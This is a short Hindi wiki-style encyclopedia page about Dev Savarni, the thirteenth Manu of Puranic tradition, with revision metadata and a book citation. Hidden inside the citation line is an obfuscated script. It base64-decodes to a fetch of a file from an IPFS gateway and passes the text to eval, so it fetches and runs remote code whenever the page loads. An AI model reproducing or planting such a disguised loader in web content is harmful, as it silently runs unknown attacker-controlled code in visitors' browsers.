देव सावर्णि मनु

भारत डिस्कवरी प्रस्तुति
नवनीत कुमार (चर्चा | योगदान) द्वारा परिवर्तित 05:56, 1 मार्च 2016 का अवतरण (''''देव सावर्णि''' हिन्दू मान्यताओं तथा पौराणिक ग्र...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें

देव सावर्णि हिन्दू मान्यताओं तथा पौराणिक ग्रंथ के भागवत के अनुसार चौदह मनुओं में से तेरहवें मनु थे, जो कि चित्रसेन आदि के पिता थे। इस मन्वंतर के देवस्पति इंद्र थे। सुकर्मा, सुत्रामादि, देवगण, निमोंकादि ऋषि तथा योगेश्वर हरि के अवतार थे[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

पौराणिक कोश |लेखक: राणा प्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 236 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. भाग. 8.13.30-32

संबंधित लेख